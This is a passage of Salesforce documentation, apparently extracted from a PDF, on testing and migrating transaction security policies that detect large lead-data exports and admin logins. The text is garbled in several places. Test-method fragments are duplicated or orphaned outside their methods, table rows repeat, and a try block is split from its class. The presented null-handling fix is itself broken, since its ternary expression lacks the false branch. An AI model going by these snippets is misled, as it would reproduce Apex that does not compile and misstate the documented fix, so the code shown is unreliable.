     * Positive test case 3: If a ListViewEvent has Lead as a queried entity and more
     * than 2000 rows processed, then the evaluate method of our policy's Apex should return true.
     **/
    static testMethod void testListViewEventPositiveTestCase() {
        // set up our event and its field values
        ListViewEvent testEvent = new ListViewEvent();
        testEvent.QueriedEntities = 'Account, Lead';

        // test that the Apex returns true for this event
        LeadExportEventCondition eventCondition = new LeadExportEventCondition();
        System.assert(eventCondition.evaluate(testEvent));
    }
}
```
testEvent.RowsProcessed = 2001;

    // test that the Apex returns true for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assert(eventCondition.evaluate(testEvent));

/**
 * Positive test case 4: If an event does not have Lead as a queried entity and has
 * more than 2000 rows processed, then the evaluate method of our policy's Apex
 * should return false.
 ***/
static testMethod void testOtherQueriedEntityPositiveTestCase() {
    // set up our event and its field values
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = 'Account';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns false for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 5: If an event has Lead as a queried entity and does not have
 * more than 2000 rows processed, then the evaluate method of our policy's Apex
 * should return false.
 ***/
static testMethod void testFewerRowsProcessedPositiveTestCase() {
    // set up our event and its field values
    ReportEvent testEvent = new ReportEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2000;

    // test that the Apex returns false for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 6: If an event does not have Lead as a queried entity and does
 * not have more than 2000 rows processed, then the evaluate method of our policy's Apex
 * should return false.
 ***/
static testMethod void testNoConditionsMetPositiveTestCase() {
    // set up our event and its field values
    ListViewEvent testEvent = new ListViewEvent();
    testEvent.QueriedEntities = 'Account';
    testEvent.RowsProcessed = 2000;

    // test that the Apex returns false for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* ------------------ NEGATIVE TEST CASES ------------------
**/
/**
* Negative test case 1: If an event is a type other than ApiEvent, ReportEvent, or ListViewEvent,
* then the evaluate method of our policy's Apex should return false.
**/
static testMethod void testOtherEventObject() {
    LoginEvent loginEvent = new LoginEvent();
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(loginEvent));
}

/**
* Negative test case 2: If an event is null, then the evaluate method of our policy's Apex should return false.
**/
static testMethod void testNullEventObject() {
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(null));
}

/**
* Negative test case 3: If an event has a null QueriedEntities value, then the evaluate method
* of our policy's Apex should return false.
**/
static testMethod void testNullQueriedEntities() {
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = null;
    testEvent.RowsProcessed = 2001;

    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
* Negative test case 4: If an event has a null RowsProcessed value, then the evaluate method
* of our policy's Apex should return false.
**/
static testMethod void testNullRowsProcessed() {
    ReportEvent testEvent = new ReportEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = null;

    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}
Refine the Policy Code After Running the Tests

Let's say you run the tests and the `testNullQueriedEntities` test case fails with the error `System.NullPointerException: Attempt to de-reference a null object`. Great news, the tests identified an area of the transaction security policy that isn't checking for unexpected or null values. Because policies run during critical org operations, make sure that the policies fail gracefully if there's an error so that they don't block important functionality.

Here's how to update the `evaluate` method in the Apex class to handle those null values gracefully.

```apex
private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
    boolean containsLead = queriedEntities != null ? queriedEntities.contains('Lead')
    if (containsLead && rowsProcessed > 2000){
        return true;
    }
    return false;
}
```

We've changed the code so that before performing the `.contains` operation on the `queriedEntities` variable, we first check if the value is null. This change ensures that the code doesn't dereference a null object.

In general, when you encounter unexpected values or situations in your Apex code, you have two options:

- Ignore the values or situation and return `false` so that the policy doesn't trigger.
- Fail-close the operation by returning `true`.

Determine what is best for your users when deciding which option to choose.

Advanced Example

Here's a more complex Apex policy that uses SOQL queries to get the profile of the user who is attempting to log in.

```apex
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {
    // For these powerful profiles, let's prompt users to complete 2FA
    private Set<String> PROFILES_TO_MONITOR = new Set<String> { 'System Administrator', 'Custom Admin Profile' };

    public boolean evaluate(SObject event) {
        LoginEvent loginEvent = (LoginEvent) event;
        String userId = loginEvent.UserId;
        // get the Profile name from the current users profileId
        Profile profile = [SELECT Name FROM Profile WHERE Id IN
            (SELECT profileId FROM User WHERE Id = :userId)];

        // check if the name of the Profile is one of the ones we want to monitor
        if (PROFILES_TO_MONITOR.contains(profile.Name)) {
            return true;
        }
    }
}
```
Here's our test plan:

- **Positive Test Cases**
  - If the user attempting to log in has the profile we're interested in monitoring, then the `evaluate` method returns `true`.
  - If the user attempting to log in doesn’t have the profile we’re interested in monitoring, then the `evaluate` method returns `false`.

- **Negative Test Cases**
  - If querying for the Profile object throws an exception, then the `evaluate` method returns `false`.
  - If querying for the Profile object returns null, then the `evaluate` method returns `false`.

Because every Salesforce user is always assigned a profile, there’s no need to create a negative test for it. It’s also not possible to create actual tests for the two negative test cases. We take care of them by updating the policy itself. But we explicitly list the use cases in our plan to make sure that we cover many different situations.

The positive test cases rely on the results of SQL queries. To ensure that these queries execute correctly, we must also create some test data. Let’s look at the test code.

```java
/**
 * Tests for the ProfileIdentityEventCondition class, to make sure that our
 * Transaction Security Apex logic handles events and event field values as expected.
 */
@isTest
public class ProfileIdentityEventConditionTest {

    /**
     * ------------ POSITIVE TEST CASES ------------
     **/

    /**
     * Positive test case 1: Evaluate will return true when user has the "System Administrator" profile.
     **/
    static testMethod void testUserWithSysAdminProfile() {
        // insert a User for our test which has the System Admin profile
        Profile profile = [SELECT Id FROM Profile WHERE Name='System Administrator'];
        assertOnProfile(profile.id, true);
    }

    /**
     * Positive test case 2: Evaluate will return true when the user has the "Custom Admin Profile"
     **/
    static testMethod void testUserWithCustomProfile() {
        // insert a User for our test which has the System Admin profile
        Profile profile = [SELECT Id FROM Profile WHERE Name='Custom Admin Profile'];
        assertOnProfile(profile.id, true);
    }

}
Positive test case 3: Evaluate will return false when user doesn't have a profile we're interested in. In this case we'll be using a profile called 'Standard User'.

```java
static testMethod void testUserWithSomeProfile() {
    // insert a User for our test which has the System Admin profile
    Profile profile = [SELECT Id FROM Profile WHERE Name='Standard User'];
    assertOnProfile(profile.id, false);
}
```

Helper to assert on different profiles.

```java
static void assertOnProfile(String profileId, boolean expected){
    User user = createUserWithProfile(profileId);
    insert user;

    // set up our event and its field values
    LoginEvent testEvent = new LoginEvent();
    testEvent.UserId = user.Id;

    // test that the Apex returns true for this event
    ProfileIdentityEventCondition eventCondition = new ProfileIdentityEventCondition();
    System.assertEquals(expected, eventCondition.evaluate(testEvent));
}
```

Helper to create a user with the given profileId.

```java
static User createUserWithProfile(String profileId){
    // Usernames have to be unique.
    String username = 'ProfileIdentityEventCondition@Test.com';

    User user = new User(Alias = 'standt', Email='standarduser@testorg.com',
                          EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
                          LocaleSidKey='en_US', ProfileId = profileId,
                          TimeZoneSidKey='America/Los_Angeles', UserName=username);
    return user;
}
```

Let's handle the two negative test cases by updating the transaction security policy code to check for exceptions or null results when querying the Profile object.

```java
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

    // For these powerful profiles, let's prompt users to complete 2FA
    private Set<String> PROFILES_TO_MONITOR = new Set<String> {
        'System Administrator',
        'Custom Admin Profile'
    };

    public boolean evaluate(SObject event) {
```
try{
    LoginEvent loginEvent = (LoginEvent) event;
    String userId = loginEvent.UserId;
    // get the Profile name from the current users profileId
    Profile profile = 
        [SELECT Name FROM Profile WHERE Id IN
         (SELECT profileId FROM User WHERE Id = :userId)];

    if (profile == null){
        return false;
    }

    // check if the name of the Profile is one of the ones we want to monitor
    if (PROFILES_TO_MONITOR.contains(profile.Name)) {
        return true;
    }
    return false;
} catch(Exception ex){
    System.debug('Exception: ' + ex);
    return false;
}

Migrate Legacy Policies to the Enhanced Transaction Security Framework

The enhanced transaction security framework makes it easy to create policies that are more useful than policies created with the legacy framework. You can migrate your legacy policies to the new framework.

Let’s first review ways that the enhanced transaction security framework improves your experience of creating a policy and how the policies are so much better.

- With the enhanced transaction security framework, you can create policies that execute actions on any standard or custom object. In the legacy framework, you’re limited to a few standard objects. For example, the legacy Data Export policy type supports actions only on standard report types. Enhanced policies based on ReportEvent support all standard and custom report types. (However, this benefit has the consequence that enhanced policies execute more often than legacy ones. See Differences Between the Legacy and Enhanced Apex Interfaces on page 277).

- Enhanced policies are based on publicly documented Salesforce objects. As a result, you can quickly view the available conditions by scanning the event object’s fields in the API documentation, such as for ApiEvent.

- The enhanced framework includes Condition Builder, a declarative point-and-click tool that requires no Apex coding. If you prefer to code, or need more complex logic, the enhanced Apex interface is more intuitive and easy to use than the legacy one.

Legacy policies are incompatible with the enhanced transaction security framework. And because the legacy framework is being retired, we encourage you to migrate your policies as soon as possible.

Follow these high-level steps to migrate your policy.

1. Choose the Real-Time Event Monitoring event for your enhanced policy.
2. Choose the fields of the event object that you use as policy conditions.
3. Decide whether to use Condition Builder or Apex to create your enhanced policy.
4. If you’re using Apex, read how the legacy interface differs from the enhanced interface.
5. Create your enhanced policy, but don’t enable it yet.
6. Test your enhanced policy.
7. When your enhanced policy is ready, disable the legacy policy and enable the enhanced policy. You can’t enable two policies on the same event at the same time.
8. If your enhanced policy isn’t working as you expect, troubleshoot the issues.

This guide uses the Lead Data Export policy, a legacy policy that’s provided for all customers in the Salesforce UI, as the running example. Check out the Follow Along with the Lead Data Export Example sections, which highlight parts of the example to explain the accompanying conceptual information.

Support Differences Between the Legacy and Enhanced Transaction Security Frameworks

Some features of the legacy framework aren’t supported in the enhanced framework.

- With the legacy framework, you can define an end-session action on a policy. This action isn’t available in the enhanced framework. Instead, use a login flow to restrict the number of simultaneous Salesforce sessions per user.
- Legacy policies support Chatter actions, such as posts, messages, and comments. These actions aren’t available in the enhanced framework. Check out the community moderation rule feature to see whether it covers your use case.

IN THIS SECTION:

- Choose an Event for the Enhanced Policy
- The enhanced transaction security framework supports different events than the legacy framework.
- Choose Event Fields for the Enhanced Policy Conditions
- You map the legacy event properties to event object fields in the enhanced transaction security framework.
- Create a Policy with a UI or with Apex Code
- In the legacy framework, the only way to create a policy was to code an Apex class. In the enhanced framework, you have two options: use Condition Builder, a point-and-click tool, or Apex. Here are some guidelines to help you decide which option is best for you.
- Differences Between the Legacy and Enhanced Apex Interfaces
- In a legacy transaction security policy, your Apex class implements the TxnSecurity.PolicyCondition interface. In the enhanced framework, your Apex class implements the TxnSecurity.EventCondition interface.
- Policy Migration Examples
- Use these Condition Builder and Apex examples to help you migrate your legacy policies to the enhanced framework. Migrating involves creating a new enhanced policy that mimics the behavior of your legacy policy.
- Test and Troubleshoot Your New Enhanced Policy
- If your enhanced transaction security policy is not behaving as you expect, check out these testing and troubleshooting tips for diagnosing the problem.

SEE ALSO:

- Salesforce Security Guide: Limit the Number of Concurrent Sessions with Login Flows
- Community Moderation Rules
Choose an Event for the Enhanced Policy

The enhanced transaction security framework supports different events than the legacy framework. When you create a legacy policy, you first choose an event type and then a resource based on that event. The legacy event types are:

- **Data Export**—Monitors both API queries and report exports.
- **Resource Access**—Monitors when a report or dashboard is viewed.
- **Login**—Monitors logins from the UI or API.
- **Entity**—Monitors Chatter activity.

The enhanced framework is simpler because you choose just one event and no resource. The events you can use in an enhanced transaction security policy are a subset of the Real-Time Event Monitoring event objects.

These legacy event types have equivalent events in the enhanced framework.

<table>
<thead>
<tr>
<th>If you used this event type in your legacy policy...</th>
<th>Use this event in the new enhanced policy.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Export (for monitoring API queries)</td>
<td>ApiEvent</td>
</tr>
<tr>
<td>Data Export (for monitoring report exports)</td>
<td>ReportEvent</td>
</tr>
<tr>
<td>Resource Access</td>
<td>ReportEvent</td>
</tr>
<tr>
<td>Login</td>
<td>LoginEvent</td>
</tr>
<tr>
<td>Entity</td>
<td>No equivalent.</td>
</tr>
</tbody>
</table>

**Warning:** In the legacy framework, report operations are split between two event types: Data Export monitors report exports, and Resource Access monitors report views. In the enhanced framework, ReportEvent monitors both report exports and report views. As a result, enhanced policies that you create on ReportEvent execute during both report exports and report views. If you want to monitor only one type of report operation, such as report exports, add a condition on the `ReportEvent.Operation` field.

Follow Along with the Lead Data Export Example

Let’s look at the legacy Lead Data Export policy example and choose an event for the new enhanced policy.

The legacy Lead Data Export policy blocks excessive downloads of lead data and is based on the Data Export event type. Data Export maps to either ApiEvent or ReportEvent, depending on whether you’re monitoring API queries or report exports.

- To block excessive lead data downloads from API queries, create an enhanced policy on ApiEvent.
- To block the downloads from report exports, create an enhanced policy on ReportEvent.
- To block the downloads from both API queries and report exports, create two enhanced policies, one on ApiEvent and one on ReportEvent.

This migration example focuses on the last option and creates two policies, one based on ApiEvent, and the other based on ReportEvent.

**SEE ALSO:**

*Platform Events Developer Guide: Real-Time Event Monitoring Objects*
Choose Event Fields for the Enhanced Policy Conditions

You map the legacy event properties to event object fields in the enhanced transaction security framework.

In the Apex class that implements your legacy policy, you use properties of the `TxnSecurity.Event` class to select items of interest from the event that you’re monitoring. You then test these items to determine whether a condition has been met. For example, to create a policy that triggers when a specific user logs in, you use the `Event.userId` property.

In an enhanced policy, you use the fields of the appropriate event objects, such as `ApiEvent.QueriedEntities` or `ReportEvent.RowsProcessed`, in the conditions.

This table maps the `TxnSecurity.Event` class properties to their equivalent fields of the Real-Time Event Monitoring event objects that support transaction security policies.

<table>
<thead>
<tr>
<th>Legacy Event Class Property</th>
<th>Equivalent Event Object Field in the Enhanced Framework</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>organizationId</code></td>
<td>No equivalent</td>
<td>The org ID is the ID of the org in which the enhanced policy is running. Use the Apex <code>UserInfo.getOrganizationId()</code> method to get the org ID.</td>
</tr>
<tr>
<td><code>userId</code></td>
<td><code>UserId</code></td>
<td>This field is available on all Real-Time Event Monitoring event objects that support transaction security policies.</td>
</tr>
<tr>
<td><code>entityName</code></td>
<td>No equivalent</td>
<td>This information isn’t needed in enhanced policies.</td>
</tr>
<tr>
<td><code>action</code></td>
<td>No equivalent</td>
<td>This property is used only with the legacy Login IP event type, which has been retired.</td>
</tr>
<tr>
<td><code>resourceType</code></td>
<td>No equivalent</td>
<td>The concept of resources doesn’t exist with events in the enhanced framework. You can still mimic legacy behavior that referenced resources. For example, your legacy policy is based on the Data Export event type and Opportunity resource. You want to monitor API queries only, so you base your enhanced policy on ApiEvent. To monitor opportunities, you add this condition to your</td>
</tr>
</tbody>
</table>
Notes

Equivalent Event Object Field in the Enhanced Framework

policy: “ApiEvent.QueriedEntities contains Opportunity.” Be careful, though: Because an enhanced policy executes on all report operations and API queries, the policy executes more in the enhanced framework than a similar policy in the legacy framework.

### entityId

- ReportEvent.ReportID (if your legacy policy is based on a Resource Access event type)
- ApiEvent.Records or ReportEvent.Records (if your legacy policy is based on a Data Export event type).
- No equivalent for the legacy Login event type

### timeStamp

- EventDate

This field is available on all Real-Time Event Monitoring event objects that support transaction security policies.

### data

This legacy property is a Map<>. Its content differs depending on the event type that the policy is based on (Resource Access, Data Export, or Login). See the next sections for tables that map the data keys of each legacy event type to their equivalent event object fields in the enhanced framework.

<table>
<thead>
<tr>
<th>Legacy Event Class Property</th>
<th>Equivalent Event Object Field in the Enhanced Framework</th>
<th>Notes</th>
</tr>
</thead>
</table>
| entityId                    | • ReportEvent.ReportID (if your legacy policy is based on a Resource Access event type)  
• ApiEvent.Records or ReportEvent.Records (if your legacy policy is based on a Data Export event type).  
• No equivalent for the legacy Login event type |       |

### Mapping Legacy Data Export Data Keys

When you migrate a legacy policy based on the Data Export event type to the enhanced framework, you choose either the ReportEvent or ApiEvent event.

<table>
<thead>
<tr>
<th>Legacy Data Key Name</th>
<th>Equivalent ReportEvent Field</th>
<th>Equivalent ApiEvent Field</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiType</td>
<td>No equivalent</td>
<td>ApiType</td>
<td></td>
</tr>
<tr>
<td>Application</td>
<td>No equivalent</td>
<td>Application</td>
<td></td>
</tr>
<tr>
<td>Browser</td>
<td>No equivalent</td>
<td>No equivalent</td>
<td>To limit the browsers that your customers use, create a LoginEvent enhanced policy to block them right away.</td>
</tr>
</tbody>
</table>
### Mapping Legacy Resource Access Data Keys

When you migrate a legacy policy based on the Resource Access event type, you use the ReportEvent event.

#### Table 8: Mapping of Legacy Resource Access Data Keys to ReportEvent Fields

<table>
<thead>
<tr>
<th>Legacy Data Key Name</th>
<th>Equivalent ReportEvent Field</th>
</tr>
</thead>
<tbody>
<tr>
<td>EntityId</td>
<td>ReportId</td>
</tr>
</tbody>
</table>
Mapping Legacy Login Data Keys

When you migrate a legacy policy based on the Login event type, you use the LoginEvent event.

Table 9: Mapping of Legacy Login Data Keys to LoginEvent Fields

<table>
<thead>
<tr>
<th>Legacy Data Key Name</th>
<th>Equivalent LoginEvent Field</th>
</tr>
</thead>
<tbody>
<tr>
<td>LoginHistoryId</td>
<td>LoginHistoryId</td>
</tr>
<tr>
<td>Username</td>
<td>Username</td>
</tr>
</tbody>
</table>

Follow Along with the Lead Data Export Example

Continuing with the two enhanced policies, we’re creating one based on ApiEvent, and the other based on ReportEvent.

Let’s next determine the event properties used in the legacy Lead Data Export policy example and their equivalent fields in the two new enhanced policies.

The legacy policy triggers when a user’s download either:
- Retrieves more than 2,000 lead records
- Takes more than one second to complete

Here’s the Apex code for the legacy policy. It uses the legacy event’s data Map<> for all its conditions.

```apex
global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {
    public boolean evaluate(TxnSecurity.Event e) {
        // The event data is a Map<String, String>.
        // We need to call the valueOf() method on appropriate data types to use them in our logic.
        Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
        Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
        String entityName = e.data.get('EntityName');

        // Trigger the policy only for an export on leads, where we are downloading
        // more than 2000 records or it took more than 1 second (1000ms).
        if ('Lead'.equals(entityName)) {
            if (numberOfRecords > 2000 || executionTimeMillis > 1000) {
                return true;
            }
        }

        // For everything else don't trigger the policy.
        return false;
    }
}```
This table lists the equivalent fields in the enhanced policies that you use for adding conditions.

<table>
<thead>
<tr>
<th>Legacy Data Key Name</th>
<th>Equivalent ReportEvent Field</th>
<th>Equivalent ApiEvent Field</th>
</tr>
</thead>
<tbody>
<tr>
<td>EntityName</td>
<td>QueriedEntities</td>
<td>QueriedEntities</td>
</tr>
<tr>
<td>ExecutionTime</td>
<td>No equivalent</td>
<td>ElapsedTime</td>
</tr>
<tr>
<td>NumberOfRecords</td>
<td>RowsProcessed</td>
<td>RowsProcessed</td>
</tr>
</tbody>
</table>

Because the enhanced framework doesn’t monitor report execution times, you can’t add a condition for that value in your enhanced ReportEvent policy.

ReportEvent monitors both export and view operations. As a result, a policy based on ReportEvent executes whenever a user exports a report and also views a report. The legacy Data Export event type monitors only report exports. You can limit what a ReportEvent policy monitors by adding a condition on the ReportEvent.Operation field.

SEE ALSO:
- Platform Events Developer Guide: Real-Time Event Monitoring Objects
- Apex Developer Guide: UserInfo Class

Create a Policy with a UI or with Apex Code

In the legacy framework, the only way to create a policy was to code an Apex class. In the enhanced framework, you have two options: use Condition Builder, a point-and-click tool, or Apex. Here are some guidelines to help you decide which option is best for you.

Let’s say that your legacy policy’s Apex class references event properties that are directly available as fields in the Real-Time Event Monitoring event objects. Also, the fields are available in the Condition Builder UI. Good news, you can use Condition Builder to create your enhanced policy! Examples of these fields include the source IP when a user logs in (LoginEvent.SourceIP) and the number of rows returned from a report execution (ReportEvent.RowsProcessed).

If your legacy policy’s Apex code references event properties that are not directly available in the Real-Time Event Monitoring event objects, continue to use Apex and SOQL queries. An example is a policy that checks whether the records returned by an API query or report export have fields that are Data Classified. In your enhanced policy’s Apex class, implement the TxnSecurity.EventCondition interface instead of the legacy TxnSecurity.PolicyCondition.

Follow Along with the Lead Data Export Example

The fields we chose for our two new enhanced ReportEvent and ApiEvent policies are available in the event objects and don’t require SOQL queries to get more data. These fields are also available in the Condition Builder UI. As a result, Condition Builder, the easiest way...
to create an enhance policy, is a good choice for our example. But if you prefer to use Apex, we also provide the code in the examples section.

SEE ALSO:
- Conditions Exposed in the Condition Builder UI

Differences Between the Legacy and Enhanced Apex Interfaces

In a legacy transaction security policy, your Apex class implements the `TxnSecurity.PolicyCondition` interface. In the enhanced framework, your Apex class implements the `TxnSecurity.EventCondition` interface.

Both interfaces define a single method: `evaluate(event)`. This method functions the same way in both interfaces by evaluating an event to determine whether to trigger the transaction security policy. For both implementations, you code the `evaluate()` method to return `true` if the policy is triggered, and `false` if not. That's about it for the similarities, now let's look at the differences.

The data type of the `event` parameter of `EventCondition.evaluate(event)` is an `sObject`, which is the standard Salesforce API object that developers know. Using an `sObject` gives you more flexibility when you code the Apex class. To use the `sObject`, first cast it to one of the event objects that support transaction security policies, such as `ApiEvent` or `ReportEvent`. Be careful, though: If you cast the `sObject` to the incorrect event object, the policy fails to evaluate. For example, if your policy is based on `ApiEvent`, but you cast the `sObject` to a `ReportEvent`, the policy fails to execute at run time.

With enhanced policies, you use the event object's fields to add conditions for evaluating the event. Because event objects are publicly documented, it's easy to find the field that your condition requires by scanning the API documentation. For example, `ApiEvent` monitors a user's API calls. Its field `QueriedEntities` contains the specific objects that the user queried, such as `Account`, `Lead`, or even a custom object. Using this field makes it easy and natural to write the Apex code to determine whether, for example, a user queried the `Account` object.

```java
apiEvent.QueriedEntities.contains('Account'))
```

Did you notice that the previous code snippet uses `contains()`? If the API event queries multiple objects, the `QueriedEntities` field contains a comma-separated list of the object names, so using `equals` could miss some events. This behavior applies to any Real-Time Event Monitoring event object that has the `QueriedEntities` field.

The previous example shows another benefit of the `TxnSecurity.EventCondition` interface: You can track user activity on any Salesforce object, not just the five objects supported in the legacy framework (`Lead`, `Contact`, `Opportunity`, `Account`, and `Contact`). But this feature has an important consequence. Enhanced policies execute more often than legacy ones. This behavior results from Salesforce evaluating all enhanced policies on all report operations and API queries.

Let's briefly go over how the legacy interface works to highlight the benefits of the enhanced interface. In the legacy framework, the data type of the `event` parameter of `PolicyCondition.evaluate(event)` is `TxnSecurity.Event`, a specialized class that contains information about the event using properties. All the property values are `Strings`, even if the value is numerical or `Boolean`. Much of the event information is contained in the `data` property, which is a `Map<String,String>` type populated with name-value pairs at run time. The run-time contents of this Map depends on the type of event that is being evaluated. As a result, the content isn't standard, and you don't know its structure when you code the class. For all these reasons, the Apex code to get the event data tends to be messy and convoluted.
The `TxnSecurity.EventCondition` interface offers a few more benefits.

- Because the `evaluate` method takes a generic `sObject` parameter that you then cast to an event object, you can program a single Apex class to handle multiple events.
- It's easy to make an asynchronous Apex call in the class that implements a legacy policy by also implementing the `TxnSecurity.AsyncCondition` interface.
- You can use auto-complete in the Developer Console when writing an implementation of `EventCondition`. With `PolicyCondition`, because most of the useful data is in the `data Map<>` property and populated at run time, auto-complete doesn't work.

- The Real-Time Event Monitoring event objects data model is consistent. As a result, you can write more generic Apex that applies to multiple event types. For example, let's say Salesforce adds an event type, and you want to include it in your existing security policy. In the enhanced framework, you likely need to add only a few extra lines to your Apex code. In the legacy framework, you have to write a new Apex class.

SEE ALSO:

- Platform Events Developer Guide: Real-Time Event Monitoring Objects

Policy Migration Examples

Use these Condition Builder and Apex examples to help you migrate your legacy policies to the enhanced framework. Migrating involves creating a new enhanced policy that mimics the behavior of your legacy policy.

Note: Before we dive into the Lead Data Export example that we've been using, let's start with a simpler example to showcase the basic concepts.

IN THIS SECTION:

Simple Policy Migration Example
Learn the basics of policy migration with this simple example.

Lead Data Export Policy Migration Example
Learn how to create two enhanced policies that mimic the behavior of the legacy Lead Data Export policy, the running example in this guide. Also learn how to expand on the example with features of the enhanced transaction security framework.

Advanced Policy Migration Example
This example shows how to migrate a more complex policy.
Simple Policy Migration Example

Learn the basics of policy migration with this simple example.

Let’s start with the Apex code for a legacy transaction security policy that triggers when a user logs in with a specific IP address.

```apex
global class SourceIpPolicyCondition implements TxnSecurity.PolicyCondition {
    public boolean evaluate(TxnSecurity.Event e) {
        String loginHistoryId = e.data.get('LoginHistoryId');
        LoginHistory loginHistory = [SELECT SourceIp FROM LoginHistory WHERE Id = :loginHistoryId];
        if (loginHistory.SourceIp.equals('1.1.1.1')) {
            return true;
        }
        return false;
    }
}
```

To mimic the legacy behavior in the new enhanced policy, we start by choosing LoginEvent, the event object that monitors logins. The legacy policy gets the user’s source IP by executing a SOQL query that selects the SourceIP field from the LoginHistory object. We could code a similar query in the enhanced policy, but let’s do something better: Directly use the SourceIP field of LoginEvent. More good news: You can use Condition Builder.

On the Condition Builder page where you specify the conditions, for Event, select Login Event. Then add a condition where Source IP equals 1.1.1.1. The Condition Builder page to specify actions and enable the policy is the same as the legacy UI.

Tip: Test your new enhanced policy before you enable it. When you’re ready to enable your new policy, disable existing policies on the same event type.
If you prefer to use Apex, here’s the code for the enhanced policy.

```java
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
  public boolean evaluate(SObject event) {
    LoginEvent loginEvent = (LoginEvent) event;
    if (loginEvent.SourceIp.equals('1.1.1.1')) {
      return true;
    }
    return false;
  }
}
```

In the Apex class, you implement the `TxnSecurity.EventCondition` interface. The `evaluate()` method takes a generic `SObject` parameter, but we guarantee it’s always one of the Real-Time Event Monitoring event objects. Cast the `SObject` to the appropriate event object, in this case, `LoginEvent`. Then use its `SourceIp` field to determine the IP address of the user logging in. The rest of the code is similar to the legacy policy code.

SEE ALSO:
  - Build a Transaction Security Policy with Condition Builder
  - Apex Developer Guide: Classes and Casting
Lead Data Export Policy Migration Example

Learn how to create two enhanced policies that mimic the behavior of the legacy Lead Data Export policy, the running example in this guide. Also learn how to expand on the example with features of the enhanced transaction security framework.

Here’s a summary of what we’ve decided so far.

- Create two enhanced policies, one based on ReportEvent and the other on ApiEvent.
- Add conditions to the ReportEvent policy using the QueriedEntities and RowsProcessed fields.
- Add conditions to the ApiEvent policy using the QueriedEntities, ElapsedTime, and RowsProcessed fields.
- Use Condition Builder to create the policy, along with showing the Apex code.

This is the Apex code for the legacy policy that we’re migrating.

```apex
global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {
    public boolean evaluate(TxnSecurity.Event e) {
        // The event data is a Map<String, String>.
        // We need to call the valueOf() method on appropriate data types to use them in our logic.
        Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
        Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
        String entityName = e.data.get('EntityName');

        // Trigger the policy only for an export on leads, where we are downloading more than 2000 records or it took more than 1 second (1000ms).
        if ('Lead'.equals(entityName)){
            if (numberOfRecords > 2000 || executionTimeMillis > 1000){
                return true;
            }
        }

        // For everything else don’t trigger the policy.
        return false;
    }
}
```

Start with creating the ReportEvent policy with Condition Builder. On the page where you specify the conditions, for Event, select Report Event. Then add these two conditions:

- QueriedEntities Equals Lead
- RowsProcessed Greater than 2000
On the actions page, specify the same actions as in your legacy policy.

The steps to create the ApiEvent policy are similar, except we use condition logic. Remember that the legacy policy monitors lead exports when either the rows processed are greater than 2,000 or the elapsed time is greater than 1,000. Here's how to implement this logic in Condition Builder.
You’re done!

And here’s the Apex code for the ApiEvent enhanced policy.

```apex
global class LeadExportApiEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        ApiEvent apiEvent = (ApiEvent) event;

        Decimal rowsProcessed = apiEvent.RowsProcessed;
        Decimal elapsedTime = apiEvent.ElapsedTime;
        String queriedEntities = apiEvent.QueriedEntities;

        if ('Lead'.equals(queriedEntities)){
            if (rowsProcessed > 2000 || elapsedTime > 1000) {
                return true;
            }
        }
        return false;
    }
}
```

The preceding example shows how elegant and natural the Apex code for enhanced policies is. For example, here’s the legacy way to get the number of rows processed.

```apex
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
```
Here’s the enhanced policy code in which you can get the required values directly from the event object without typecasting the field values.

```java
Decimal rowsProcessed = apiEvent.RowsProcessed;
```

Much better and easier to read! For completeness, here’s the Apex code for the ReportEvent policy.

```java
global class LeadExportReportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        ReportEvent reportEvent = (ReportEvent) event;
        Decimal rowsProcessed = reportEvent.RowsProcessed;
        String queriedEntities = reportEvent.QueriedEntities;

        if ('Lead'.equals(queriedEntities)) {
            if (rowsProcessed > 2000) {
                return true;
            }
        }
        return false;
    }
}
```

Consolidate Apex Classes Example

Did you notice that the previous two Apex classes for the new Lead Data Export enhanced policies are similar? The main difference is that one policy casts the sObject to ReportEvent and the other to ApiEvent. Let’s change our use case a bit to show how to create a single Apex class that handles multiple event objects. In this case, we remove the condition of checking for elapsed time in the ApiEvent. Now the two policies monitor the same fields of their respective event objects: RowsProcessed and QueriedEntities.

⚠️ **Note:** You can’t use Condition Builder in this example because it doesn’t support creating a single policy on multiple events objects.

Here’s an example of the "consolidated" Apex class.

```java
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
